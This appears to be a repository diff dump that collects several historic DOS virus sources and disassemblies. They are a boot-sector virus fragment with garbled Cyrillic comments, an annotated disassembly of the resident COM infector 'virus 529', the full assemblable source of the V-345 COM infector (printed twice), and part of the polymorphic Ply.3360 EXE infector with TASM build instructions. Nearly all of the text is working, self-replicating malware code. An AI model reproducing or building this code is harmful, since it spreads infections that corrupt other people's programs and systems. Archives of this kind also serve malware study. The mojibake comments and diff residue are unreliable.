MOV AL,Byte Ptr D8000+0010h
CBW
MUL Word Ptr D8000+0016h
ADD CX,AX
MOV AX,0020h
MUL Word Ptr D8000+0011h
ADD AX,01FFh
MOV BX,0200h
DIV BX
ADD CX,AX
MOV Word Ptr D7DF5,CX
MOV AX,Word Ptr D7C13
SUB AX,Word Ptr D7DF5
MOV BL,Byte Ptr D7C0D
XOR DX,DX
XOR BH,BH
DIV BX
INC AX
MOV DI,AX
AND Byte Ptr D7DF7,0FBh
CMP AX,0FF0h
JBE L7DE0
OR Byte Ptr D7DF7,04h
L7DE0: MOV SI,0001h
MOV BX,Word Ptr D7C0E
DEC BX
MOV Word Ptr D7DF3,BX
MOV Byte Ptr D7EB2,0FEh
JMP short L7E00
D7DF3 DW 1
D7DF5 DW 000Ch
D7DF7 DB 1 ;±² ²³±-¡ ©²:
; 0000 0001 - ±² °²¨° ­® ¥ ¢º§¯°®¨§¢¥¦¤ ­¥
; 0000 0010 - § ª ·¥­ ¥ ­  INT 08
; 0000 0100
D7DF8 DB 00 ;³±²°®©±²¢®: 0 - A:, 1 - B:, ...
D7DF9 DW 274h ;«®£¨·¥±ª¨ ±¥ª²®°, ªº¤¥²® ¥ § ¯¨± ­® ¯°®¤º«¦¥­¨¥²®
DB 00
DW 1357h „ˆŠ€’Ž ‡€ ‡€€‡… „ˆ‘Š!!!!!!!!
DW 0AA55h ;­®°¬ «¥­ BOOT ±¥ª²®°
;***********************************************************;
; ‚’Žˆ ‘…Š’Ž - Ž„š‹†…ˆ… € ‚ˆ“‘€ ;
; €Œˆ€ ‘… € bad sector €‚š’… ‚ „ˆ‘Š€ ;
;***********************************************************;
L7E00: INC Word Ptr D7DF3
MOV BX,Word Ptr D7DF3
ADD Byte Ptr D7EB2,02h
call L7C9D
JMP short L7E4B
L7E12: MOV AX,0003h
TEST Byte Ptr D7DF7,04h
JE L7E1D
INC AX
L7E1D: MUL SI
SHR AX,1
SUB AH,Byte Ptr D7EB2
MOV BX,AX
CMP BX,01FFh
JNC L7E00
MOV DX,Word Ptr D8000[BX]
TEST Byte Ptr D7DF7,04h
JNE L7E45
MOV CL,04h
TEST SI,0001h
JE L7E42
SHR DX,CL
L7E42: AND DH,0Fh
L7E45: TEST DX,0FFFFh
JE L7E51
L7E4B: INC SI
CMP SI,DI
JBE L7E12
RET
L7E51: MOV DX,0FFF7h
TEST Byte Ptr D7DF7,04h
JNE L7E68
AND DH,0Fh
MOV CL,04h
TEST SI,0001h
JE L7E68
SHL DX,CL
L7E68: OR Word Ptr D8000[BX],DX
MOV BX,Word Ptr D7DF3
call L7C98
MOV AX,SI
SUB AX,0002h
MOV BL,Byte Ptr D7C0D
XOR BH,BH
MUL BX
ADD AX,Word Ptr D7DF5
MOV SI,AX
MOV BX,0000h
call L7C9D
MOV BX,SI
INC BX
call L7C98
L7E92: MOV BX,SI
MOV Word Ptr D7DF9,SI
PUSH CS
POP AX
SUB AX,0020h
MOV ES,AX
call L7C98
PUSH CS
POP AX
SUB AX,0040h
MOV ES,AX
MOV BX,0000h
call L7C98
RET
D7EB0 DW 0EEF0h
D7EB2 DB 0
;=======================================================;
; ‡€Š€—‚€… ‡€ int 08, €ŠŽ … … ‡€Š€—…€ ;
;=======================================================;
L7EB3: TEST Byte Ptr D7DF7,02h
JNE L7EDE
OR Byte Ptr D7DF7,02h
assume ds:BIOS_SEG
MOV AX,0000h ;‡ ª ·¢  ±¥ ­  INT 8
MOV DS,AX
MOV AX,Word Ptr D0020
MOV BX,Word Ptr D0022
MOV Word Ptr D0020,offset NewINT08
MOV Word Ptr D0022,CS
assume ds:SEG0000
PUSH CS
POP DS
MOV Word Ptr D7FC9,AX ;‡ ¯ §¢  ±² °¨¿² INT 8
MOV Word Ptr D7FCB,BX
L7EDE: RET
;=====================================================================;
; ’€‡ˆ Žƒ€Œ€ ‘… ‚š‡‚€ € ŒŸ‘’Ž’Ž € ˆ‘’ˆ‘ŠˆŸ’ int 08 ;
;=====================================================================;
NewINT08:
PUSH DS ;‡ ¯ §¢  ¯®²°¥¡¨²¥«±ª¨²¥ °¥£¨±²°¨
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH CS ;ޝ° ¢¿ ±®¡±²¢¥­¨¿² DS
POP DS
MOV AH,0Fh ;Get current video mode
INT 10h
MOV BL,AL
CMP BX,Word Ptr D7FD4 ;mode = ±² °¨¿² mode
JE L7F27 ;¤ , ¯°®¤º«¦ ¢ 
;---- ¥¦¨¬º² ­  ¤¨±¯«¥© ¥ ¯°®¬¥­¥­. “±² ­®¢¿¢¿ ­®¢¨¿² °¥¦¨¬ ----;
MOV Word Ptr D7FD4,BX ;§ ¯¨±¢  ±²° ­¨¶ ²  ¨ mode
DEC AH
MOV Byte Ptr D7FD6,AH ;§ ¯ §¢  char_per_line-1
MOV AH,01h
CMP BL,07h ;mode = text b/w MGA, EGA?
JNE L7F05 ;­¥
DEC AH
L7F05: CMP BL,04h ;mode = graphics?
JNC L7F0C ;¤ 
DEC AH
L7F0C: MOV Byte Ptr D7FD3,AH
MOV Word Ptr D7FCF,0101h
MOV Word Ptr D7FD1,0101h
MOV AH,03h ;Read cursor position and size
INT 10h
PUSH DX ;‡ ¯ §¢  ¯®§¨¶¨¿²  ­  ª³°±®° 
MOV DX,Word Ptr D7FCF
JMP short L7F4A
;---- ¥¦¨¬º² ­  ¤¨±¯«¥¿ (mode) ­¥ ¥ ¯°®¬¥­¿­ ----;
L7F27: MOV AH,03h ;Read cursor position and size
INT 10h
PUSH DX ;‡ ¯ §¢  cursor pos & size
MOV AH,02h ;Set cursor position
MOV DX,Word Ptr D7FCF
INT 10h
MOV AX,Word Ptr D7FCD ;ޝ°¥¤¥«¿ ª ª¢® ¤  ¯¨¸¥ ¯® ¥ª° ­ 
CMP Byte Ptr D7FD3,01h ;mode = GRAPF?
JNE L7F41 ;­¥
MOV AX,8307h
L7F41: MOV BL,AH ;Write character & attribute
MOV CX,0001h
MOV AH,09h
INT 10h
;---- Š®°¨£¨°  ¯®§¨¶¨¿²  ­  ª³°±®°  ----;
L7F4A: MOV CX,Word Ptr D7FD1
CMP DH,00h ;Up
JNE L7F58
XOR CH,0FFh
INC CH
L7F58: CMP DH,18h ;Down
JNE L7F62
XOR CH,0FFh
INC CH
L7F62: CMP DL,00h ;Left
JNE L7F6C
XOR CL,0FFh
INC CL
L7F6C: CMP DL,Byte Ptr D7FD6 ;Right
JNE L7F77
XOR CL,0FFh
INC CL
L7F77: CMP CX,Word Ptr D7FD1
JNE L7F94
MOV AX,Word Ptr D7FCD
AND AL,07h
CMP AL,03h
JNE L7F8B
XOR CH,0FFh
INC CH
L7F8B: CMP AL,05h
JNE L7F94
XOR CL,0FFh
INC CL
L7F94: ADD DL,CL
ADD DH,CH
MOV Word Ptr D7FD1,CX
MOV Word Ptr D7FCF,DX
MOV AH,02h
INT 10h ;Set cursor position
MOV AH,08h ;Read character & attribute
INT 10h
MOV Word Ptr D7FCD,AX
MOV BL,AH
CMP Byte Ptr D7FD3,01h ;mode = GRAPH?
JNE L7FB6 ;­¥
MOV BL,83h
L7FB6: MOV CX,0001h ;Write character & attribute
MOV AX,0907h
INT 10h
POP DX ;Restore cursor position
MOV AH,02h
INT 10h
POP DX ;‚º§±² ­®¢¿¢  ¯®²°¥¡¨²¥«±ª¨²¥ °¥£¨±²°¨
POP CX
POP BX
POP AX
POP DS
D7FC9 = $+1
D7FCB = $+3
JMP INTERR8 ;޲¨¢  ­  ¨±²¨­±ª¨¿² INT 08
D7FCD DW 0
D7FCF DW 0101h ; ¡®²­  ¯®§¨¶¨¿ ­  ¥ª° ­  ­  ¢¨°³± 
D7FD1 DW 0101h
D7FD3 DB 0 ; 1 - mode = graph, b800
; 0 - mode = text, b800
;-1 - mode = 7, text b/w EGA,HGA
D7FD4 DW 0FFFFh ;± ¬¨¿² mode
D7FD6 DB 50h ;¡°®© ±¨¬¢®«¨ ­  °¥¤
DB 0B7h,0B7h,0B7h,0B6h,040h,040h,088h,0DEh
DB 0E6h,05Ah,0ACh,0D2h,0E4h,0EAh,0E6h,040h
DB 050h,0ECh,040h,064h,05Ch,060h,052h,040h
DB 040h,040h,040h,064h,062h,05Eh,062h,060h
DB 05Eh,070h,06Eh,040h,041h,0B7h,0B7h,0B7h
DB 0B6h
;*************************************************************
; Ž’€ Ž‹€‘’ € ‚ˆ“‘€
D8000 = $
SEG0000 ends
END
File diff suppressed because it is too large Load Diff
+347
View File
@@ -0,0 +1,347 @@
; virus 529 extracted from full memory dump published by N.N.Bezrukov
; in Virus Guide (Computer Virology) edition 3.5. First information about this
; virus has been released by D.N.Lozinsky (Leningrad USSR) before june 1990.
;
; Dissasembly: A.Kadlof 1990-08-31
;
; Virus code is placed at the begining of the file
0100 B815CA MOV AX,CA15 ; is resident part alredy instaled?
0103 8B361B01 MOV SI,[011B] ; offset of oryginal first 529 bytes
0107 BF0001 MOV DI,0100 ; begining of the file
010A 8B0E1D01 MOV CX,[011D] ; 0211h = 529 virus length
010E 8B1E1901 MOV BX,[0119] ; 0101h or less means: do not disable
0112 CD21 INT 21 ; resident part of the virus
; if resident part of the virus is instaled then INT 21 with AX = CA15
; will start infected program, atherwise we will come here
0114 FF361F01 PUSH [011F] ; jump to CS:0147
0118 C3 RET
;------------------
; virus date area
0119 01 01 ; flag - disable virus request
011B D0 07 ; adress of oryginal 529 byte of the file, oryginal file length
; plus 100h (size of memory image of file + PSP)
011D 11 02 ; virus length
011F 47 01 ; offset of virus code after working area
0121 79 00 ; ??
0123 C0 01
0125 04 00
0127 C4 01 ; offset of new INT 21h handler
0129 4D 00
012B 11 02 EA 00 FB ; ??
0130 02 01 00 FC 02 01 00 ; ??
; EXEC Parameter Block
0137 00 00 ; segment of child enviroment
0139 80 00 0E 25 ; adress of command line
013D 5C 00 0E 25 ; adress of first FCB
013F 6C 00 0E 25 ; adress of second FCB
0145 CA 01 ; offset of virus int 21h handler
;---------------------------------------------------------------
; continue instalation of virus if resident part is not present
0147 A11D01 MOV AX,[011D] ; 0211h virus length
014A 051401 ADD AX,0114 ; AX := 325h length of buffer and
; working area
014D 90 NOP
014E A30503 MOV [0305],AX ; I/O buffer
0151 03061D01 ADD AX,[011D]
0155 050001 ADD AX,0100
0158 A30D03 MOV [030D],AX
015B 8BE0 MOV SP,AX
015D 050F00 ADD AX,000F
0160 B104 MOV CL,04
0162 D3E8 SHR AX,CL
0164 A30F03 MOV [030F],AX ; memory (in paragraphs) requested by
0167 06 PUSH ES ; virus (64 paragraphs)
; capture INT 21h
0168 B82135 MOV AX,3521 ; get INT 21h
016B CD21 INT 21
; store it
016D 8C06FF02 MOV [02FF],ES
0171 891EFD02 MOV [02FD],BX
0175 07 POP ES ; restore from the stack
0176 8B162701 MOV DX,[0127] ; offset of new INT 21h
017A B82125 MOV AX,2521 ; set INT 21h
017D CD21 INT 21
017F 8B1E0F03 MOV BX,[030F] ; size of requested memory
0183 B44A MOV AH,4A ; modify allocated memory block
0185 CD21 INT 21
0187 8CC0 MOV AX,ES
0189 A33B01 MOV [013B],AX ; prepare EXEC Parameter Block
018C A33F01 MOV [013F],AX
018F A34301 MOV [0143],AX
0192 8E1E2C00 MOV DS,[002C] ; enviroment block
0196 33F6 XOR SI,SI ; point at the begining of block
0198 AC LODSB
0199 0A04 OR AL,[SI] ; look for 0, 0 marker
019B 75FB JNZ 0198
019D 83C603 ADD SI,+03 ; point at full pathname
01A0 8BD6 MOV DX,SI ; offset of name of virus carrier
01A2 BB3701 MOV BX,0137 ; adres of EXEC parameter block
01A5 B8004B MOV AX,4B00 ; Load & Execute
01A8 CD21 INT 21
01AA 8CC8 MOV AX,CS
01AC 8ED0 MOV SS,AX ; restore stack pointers
01AE 2E CS:
01AF 8B260D03 MOV SP,[030D]
01B3 B44D MOV AH,4D ; get return code of subprogram
01B5 CD21 INT 21
01B7 2E CS:
01B8 8B160F03 MOV DX,[030F] ; needed number of paragraphs
01BC B431 MOV AH,31 ; terminate but stay resident
01BE CD21 INT 21
01C0 B44C MOV AH,4C ; terminate process
01C2 CD21 INT 21
;----------------------
; new INT 21h handler
01C4 2E CS:
01C5 FF364501 PUSH [0145] ; 01CA
01C9 C3 RET
01CA 3D15CA CMP AX,CA15 ; virus call?
01CD 7519 JNZ 01E8 ; no
01CF 2E CS:
01D0 3B1E1901 CMP BX,[0119] ; disable request?
01D4 7608 JBE 01DE ; no
; disable resident part of virus
01D6 2E CS:
01D7 C70645010C02 MOV WORD PTR [0145],020C
01DD CF IRET
; return to infected file, first copy oryginal 529 bytes from the end of the
; file to the begining (registers should be prepared by caller)
01DE F3 REPZ
01DF A4 MOVSB
01E0 58 POP AX
01E1 B80001 MOV AX,0100 ; new start adress
01E4 50 PUSH AX
01E5 33C0 XOR AX,AX
01E7 CF IRET
; is it Load & Execute request?
01E8 3D004B CMP AX,4B00 ; Load & Execute
01EB 751F JNZ 020C ; no, jump to oryginal INT 21h
; check the name of loaded file (is it COM or not)
01ED 06 PUSH ES
01EE 1E PUSH DS
01EF 07 POP ES
01F0 8BFA MOV DI,DX ; name of loaded file
01F2 B9FFFF MOV CX,FFFF ; length of searched block
01F5 F2 REPNZ
01F6 AE SCASB ; AL = 0;
01F7 26 ES:
01F8 8A45FE MOV AL,[DI-02] ; last letter of extension of name
01FB 0C20 OR AL,20 ; convert to lower letter
01FD 3C6D CMP AL,6D ; 'm' (is it COM?)
01FF 07 POP ES
0200 7505 JNZ 0207 ; no
0202 E80C00 CALL 0211 ; infect loaded file
0205 EB03 JMP 020A
0207 E8F100 CALL 02FB ; CS:02FB RET
020A 32C0 XOR AL,AL
020C 2E CS:
020D FF2EFD02 JMP FAR [02FD] ; oryginal INT 21h
;---------------------------
; Infection of the new file
0211 06 PUSH ES
0212 50 PUSH AX
0213 53 PUSH BX
0214 1E PUSH DS
0215 52 PUSH DX
0216 8BEC MOV BP,SP
0218 0E PUSH CS
0219 1F POP DS
021A B82435 MOV AX,3524 ; get INT 24h
021D CD21 INT 21
021F 8C060303 MOV [0303],ES
0223 891E0103 MOV [0301],BX
0227 BAF802 MOV DX,02F8 ; offset of virus INT 24h handler
022A B82425 MOV AX,2524 ; set interrupt vector 24h
022D CD21 INT 21
022F 1E PUSH DS
0230 8B5600 MOV DX,[BP+00] ; adress of loaded file name
0233 8E5E02 MOV DS,[BP+02]
0236 B80043 MOV AX,4300 ; get file attributes
0239 CD21 INT 21
023B 7250 JB 028D ; problems
023D 2E CS:
023E 890E0B03 MOV [030B],CX ; store current file attributes
0242 B80143 MOV AX,4301 ; set file attributes
0245 33C9 XOR CX,CX ; clear all attributes
0247 CD21 INT 21
0249 7242 JB 028D ; problems
024B B8023D MOV AX,3D02 ; open file for read\write
024E CD21 INT 21
0250 7274 JB 02C6 ; problems
0252 1F POP DS
0253 8BD8 MOV BX,AX
0255 B80057 MOV AX,5700 ; get file date
0258 CD21 INT 21
025A 726A JB 02C6 ; problems
025C 890E0703 MOV [0307],CX ; store time
0260 89160903 MOV [0309],DX ; store date
0264 8B160503 MOV DX,[0305] ; offset of buffer
0268 8B0E1D01 MOV CX,[011D] ; number of bytes to read (full virus)
026C B43F MOV AH,3F ; read from file
026E CD21 INT 21
0270 7254 JB 02C6 ; problems
0272 3BC1 CMP AX,CX ; check for I/O problems
0274 7550 JNZ 02C6 ; problems
; compare first 19h bytes (25) to check is file alredy infected
0276 0E PUSH CS
0277 07 POP ES
0278 BF0001 MOV DI,0100
027B 8BF2 MOV SI,DX
027D B91900 MOV CX,0019
0280 F3 REPZ
0281 A6 CMPSB
0282 7442 JZ 02C6 ; file infected
0284 B80242 MOV AX,4202 ; move file pointer
0287 33C9 XOR CX,CX ; to the end of file
0289 8BD1 MOV DX,CX ; CX:DX = 0
028B CD21 INT 21
028D 7237 JB 02C6 ; problems
028F 0BD2 OR DX,DX ; file over 64 Kb
0291 7533 JNZ 02C6 ; problems
0293 050001 ADD AX,0100
0296 A31B01 MOV [011B],AX
0299 3D00F0 CMP AX,F000
029C 7728 JA 02C6 ; file to big
029E 3DD007 CMP AX,07D0 ; file to small
02A1 7223 JB 02C6 ; problems
02A3 8B0E1D01 MOV CX,[011D] ; number of bytes
02A7 8B160503 MOV DX,[0305] ; offset of disk I/O buffer
02AB B440 MOV AH,40 ; write to file
02AD CD21 INT 21
02AF 7215 JB 02C6 ; problems
02B1 B80042 MOV AX,4200 ; move file pointer
02B4 33D2 XOR DX,DX ; to the beginning of file
02B6 8BCA MOV CX,DX ; CX:DX = 0
02B8 CD21 INT 21
02BA 720A JB 02C6 ; problems
02BC FEC6 INC DH
02BE 8B0E1D01 MOV CX,[011D] ; number of bytes
02C2 B440 MOV AH,40 ; write to file
02C4 CD21 INT 21
;----------------------------------
; exit if any troubles or when done
02C6 B80157 MOV AX,5701 ; set file time and date
02C9 8B0E0703 MOV CX,[0307] ; recall time
02CD 8B160903 MOV DX,[0309] ; recall data
02D1 CD21 INT 21
02D3 B43E MOV AH,3E ; Close file (BX = handle)
02D5 CD21 INT 21
02D7 B80143 MOV AX,4301 ; set file attributes
02DA 8B0E0B03 MOV CX,[030B] ; recall attributes
02DE 8E5E02 MOV DS,[BP+02] ; segment of file name (ASCIIZ)
02E1 8B5600 MOV DX,[BP+00] ; offset of file name (ASCIIZ)
02E4 CD21 INT 21
02E6 2E CS:
02E7 C5160103 LDS DX,[0301]
02EB B82425 MOV AX,2524 ; restore INT 24h
02EE CD21 INT 21
02F0 8BE5 MOV SP,BP
02F2 5A POP DX
02F3 1F POP DS
02F4 5B POP BX
02F5 58 POP AX
02F6 07 POP ES
02F7 C3 RET
;----------------------------------
; INT 24h handler during infection
02F8 B003 MOV AL,03
02FA CF IRET
02FB C3 RET
02FC C3 RET
;--------------
; date holder
02FD 5C 06 FD 18 ; old INT 21h holder
0301 56 05 9D 10 ; old INT 24h holder
0305 25 03 ; offset of disk I/O buffer
0307 36 00 ; file time
0309 21 00 ; file date
030B 20 00 ; file attributes
030D 36 06 ; SP holder
030F 64 00 ; segment-paragraph just beyond the end of resident part
0325 ; I/O bufer

+134
View File
@@ -0,0 +1,134 @@
page ,132
name V345
title V-345 - a mutation of the V-845 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
timer equ 6C
olddta equ 80
virlen = offset endcode - offset start
newid = offset ident - offset start
start:
jmp short virus
ident dw 'VI'
counter db 0
allcom db '*.COM',0
progbeg dd ?
eof dw ?
newdta db 2C dup (?)
fname equ offset newdta+1E
virus:
push ax
mov ax,cs ;Move program code
add ax,1000 ; 64K bytes forward
mov es,ax
inc [counter]
mov si,offset start
xor di,di
mov cx,virlen
rep movsb
mov dx,offset newdta ;Set new Disk Transfer Address
mov ah,1A ;Set DTA
int 21
mov dx,offset allcom ;Search for '*.COM' files
mov cx,110b ;Normal, Hidden or System
mov ah,4E ;Find First file
int 21
jc done ;Quit if none found
mainlp:
mov dx,fname
mov ax,3D02 ;Open file in Read/Write mode
int 21
mov bx,ax ; Save handle
push es
pop ds
mov dx,virlen
mov cx,0FFFF ;Read all bytes (64K max in .COM file)
mov ah,3F ;Read from handle
int 21 ;Bytes read in AX
add ax,virlen
mov cs:[eof],ax ;Save pointer to the end of file
cmp ds:[newid+virlen],'VI' ;Infected?
je close ;Go find next file if so
xor cx,cx ;Go to file beginning
mov dx,cx
mov ax,4200 ;LSEEK from the beginning of the file
int 21
jc close ;Leave this file if error occures
xor dx,dx ;Write the whole code (virus+file)
mov cx,cs:[eof] ; back onto the file
mov ah,40 ;Write to handle
int 21
close:
mov ah,3E ;Close the file
int 21
push cs
pop ds ;Restore DS
mov ah,4F ;Find next matching file
int 21
jc done ;Exit if all found
jmp mainlp ;Otherwise loop again
done:
mov dx,olddta ;Restore old Disk Transfer Address
mov ah,1A ;Set DTA
int 21
cmp [counter],5 ;If counter goes above 5,
jb progok ; the program becomes "sick"
mov ax,40
mov ds,ax ;Get the system timer value
mov ax,word ptr [timer]
push cs
pop ds ;Restore DS
and ax,1 ;At random (if timer value is odd)
jz progok ; display the funny message
mov dx,offset message
mov ah,9 ;Print string
int 21
int 20 ;Terminate program
message db 'Program sick error:Call doctor or '
db 'buy PIXEL for cure description',0A,0Dh,'$'
progok:
mov si,offset transf ;Move this part of code
mov cx,offset endcode - offset transf ;Code length
xor di,di ;Move to ES:0
rep movsb ;Do it
pop bx ; BX = old AX
mov word ptr cs:[progbeg],0
mov word ptr cs:[progbeg+2],es ;Point progbeg at program start
jmp cs:[progbeg] ;Jump at program start
transf:
push ds
pop es
mov si,offset endcode
mov di,offset start
mov cx,0FFFF ;Restore original program's code
sub cx,si
rep movsb
mov word ptr cs:[start],offset start
mov word ptr cs:[start+2],ds
mov ax,bx
jmp dword ptr cs:[start] ;Jump to program start
endcode label byte
int 20 ;Dummy program
code ends
end start

@@ -0,0 +1,134 @@
page ,132
name V345
title V-345 - a mutation of the V-845 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
timer equ 6C
olddta equ 80
virlen = offset endcode - offset start
newid = offset ident - offset start
start:
jmp short virus
ident dw 'VI'
counter db 0
allcom db '*.COM',0
progbeg dd ?
eof dw ?
newdta db 2C dup (?)
fname equ offset newdta+1E
virus:
push ax
mov ax,cs ;Move program code
add ax,1000 ; 64K bytes forward
mov es,ax
inc [counter]
mov si,offset start
xor di,di
mov cx,virlen
rep movsb
mov dx,offset newdta ;Set new Disk Transfer Address
mov ah,1A ;Set DTA
int 21
mov dx,offset allcom ;Search for '*.COM' files
mov cx,110b ;Normal, Hidden or System
mov ah,4E ;Find First file
int 21
jc done ;Quit if none found
mainlp:
mov dx,fname
mov ax,3D02 ;Open file in Read/Write mode
int 21
mov bx,ax ; Save handle
push es
pop ds
mov dx,virlen
mov cx,0FFFF ;Read all bytes (64K max in .COM file)
mov ah,3F ;Read from handle
int 21 ;Bytes read in AX
add ax,virlen
mov cs:[eof],ax ;Save pointer to the end of file
cmp ds:[newid+virlen],'VI' ;Infected?
je close ;Go find next file if so
xor cx,cx ;Go to file beginning
mov dx,cx
mov ax,4200 ;LSEEK from the beginning of the file
int 21
jc close ;Leave this file if error occures
xor dx,dx ;Write the whole code (virus+file)
mov cx,cs:[eof] ; back onto the file
mov ah,40 ;Write to handle
int 21
close:
mov ah,3E ;Close the file
int 21
push cs
pop ds ;Restore DS
mov ah,4F ;Find next matching file
int 21
jc done ;Exit if all found
jmp mainlp ;Otherwise loop again
done:
mov dx,olddta ;Restore old Disk Transfer Address
mov ah,1A ;Set DTA
int 21
cmp [counter],5 ;If counter goes above 5,
jb progok ; the program becomes "sick"
mov ax,40
mov ds,ax ;Get the system timer value
mov ax,word ptr [timer]
push cs
pop ds ;Restore DS
and ax,1 ;At random (if timer value is odd)
jz progok ; display the funny message
mov dx,offset message
mov ah,9 ;Print string
int 21
int 20 ;Terminate program
message db 'Program sick error:Call doctor or '
db 'buy PIXEL for cure description',0A,0Dh,'$'
progok:
mov si,offset transf ;Move this part of code
mov cx,offset endcode - offset transf ;Code length
xor di,di ;Move to ES:0
rep movsb ;Do it
pop bx ; BX = old AX
mov word ptr cs:[progbeg],0
mov word ptr cs:[progbeg+2],es ;Point progbeg at program start
jmp cs:[progbeg] ;Jump at program start
transf:
push ds
pop es
mov si,offset endcode
mov di,offset start
mov cx,0FFFF ;Restore original program's code
sub cx,si
rep movsb
mov word ptr cs:[start],offset start
mov word ptr cs:[start+2],ds
mov ax,bx
jmp dword ptr cs:[start] ;Jump to program start
endcode label byte
int 20 ;Dummy program
code ends
end start

File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
Binary file not shown.
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,836 @@
comment *
Ply.3360
Disassembly by
Darkman/VLAD
Ply.3360 is a 3360 bytes parasitic direct action EXE virus. Infects every
file in current directory, when executed, by appending the virus to the
infected file. Ply.3360 is polymorphic in file using its internal
polymorphic engine.
To compile Ply.3360 with Turbo Assembler v 4.0 type:
TASM /m PLY_3360.ASM
TLINK /t /x PLY_3360.OBJ
*
.model tiny
.code
org 100h ; Origin of Ply.3360
code_begin:
delta_offset equ $+01h ; Delta offset
mov bp,100h ; BP = delta offset
poly_begin:
mov ax,cs ; AX = code segment
nop
mov ds,ax ; DS = " "
nop
mov es,ax ; ES = " "
nop
mov ax,100h ; AX = offset of beginning of code
sub bp,ax ; Subtract offset of beginning of ...
nop
sti ; Set interrupt-enable flag
nop
nop
cld ; Clear direction flag
nop
nop
lea si,code_begin ; SI = offset of code_begin
add si,bp ; Add delta offset
nop
mov cx,(poly_end-poly_begin)/03h
poly_loop:
in al,40h ; AL = 8-bit random number
nop
and al,00000111b ; AL = random number between zero ...
nop
push cx ; Save CX at stack
nop
nop
push si ; Save SI at stack
nop
nop
cmp al,00h ; Prepend a NOP to the opcode?
nop
jne test_append ; Not equal? Jump to test_append
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
je dont_poly ; Equal? Jump to dont_poly
nop
mov al,[si+02h] ; AL = third byte of three-byte block
cmp al,90h ; NOP (opcode 90h)
nop
jne dont_poly ; Not equal? Jump to dont_poly
nop
mov ax,[si] ; AX = first word of three-bytes b...
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx+01h],ax ; Store first word of three-bytes ...
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je dec_imm8 ; Equal? Jump to dec_imm8
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
jne prepend_nop ; Not equal? Jump to prepend_nop
nop
dec_imm8:
dec byte ptr [bx+02h] ; Decrease 8-bit immediate
prepend_nop:
mov al,90h ; NOP (opcode 90h)
nop
mov [bx],al ; Prepend a NOP to the opcode
nop
mov di,si ; DI = offset of current three-byt...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
dont_poly:
jmp test_loop
test_append:
cmp al,01h ; Append a NOP to the opcode?
nop
jne test_create ; Not equal? Jump to test_create
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne dont_poly_ ; Not equal? Jump to dont_poly_
nop
mov ax,[si+01h] ; AX = second word of three-bytes ...
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],ax ; Store second word of three-bytes...
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je dec_imm8_ ; Equal? Jump to dec_imm8_
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
jne append_nop ; Not equal? Jump to append_nop
nop
dec_imm8_:
inc byte ptr [bx+01h] ; Decrease 8-bit immediate
append_nop:
mov al,90h ; NOP (opcode 90h)
nop
mov [bx+02h],al ; Append a NOP to the opcode
mov di,si ; DI = offset of current three-byt...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
dont_poly_:
jmp test_loop
test_create:
cmp al,02h ; Create a CALL imm16 to the opcode?
nop
jne delete_call ; Not equal? Jump to delete_call
nop
mov ax,[si] ; AX = first word of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne create_call ; Not equal? Jump to create_call
nop
mov al,ah ; AL = second byte of three-bytes ...
nop
create_call:
cmp al,0e9h ; JMP imm16 (opcode 0e9h)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0c3h ; RET (opcode 0c3h)
nop
je call_exit ; Equal? Jump to call_exit
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,50h ; PUSH reg16/POP reg16?
nop
je call_exit ; Equal? Jump to call_exit
nop
call get_poly_off
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,0c3h ; RET (opcode 0c3h)
nop
stosb ; Store RET
nop
nop
in al,40h ; AL = 8-bit random number
nop
stosb ; Store 8-bit random number
nop
nop
in al,40h ; AL = 8-bit random number
nop
stosb ; Store 8-bit random number
nop
nop
mov al,0e8h ; CALL imm16 (opcode 0e8h)
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],al ; Create a CALL imm16 to the opcode
nop
mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
sub ax,06h ; Subtract size of six-bytes block
mov [bx+01h],ax ; Store 16-bit immediate
mov di,si ; SI = offset of current three-byt...
nop
mov ax,03h ; AX = size of opcode CALL imm16
sub di,ax ; Subtract size of opcode CALL imm...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
call_exit:
jmp test_loop
delete_call:
cmp al,03h ; Delete previously created CALL i...
nop
jne test_create_ ; Not equal? Jump to test_create_
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)?
nop
jne call_exit_ ; Not equal? Jump to call_exit_
nop
mov ax,[si+01h] ; AX = 16-bit immediate
add ax,03h ; Add size of opcode CALL imm16
mov di,si ; DI = offset of current three-byt...
nop
add si,ax ; Add 16-bit immediate
nop
lea bx,poly_blocks ; BX = offset of poly_blocks
add bx,bp ; Add delta offset
nop
cmp si,bx ; 16-bit immediate within polymorp...
nop
jb call_exit_ ; Below? Jump to call_exit_
nop
mov cx,03h ; Move three bytes
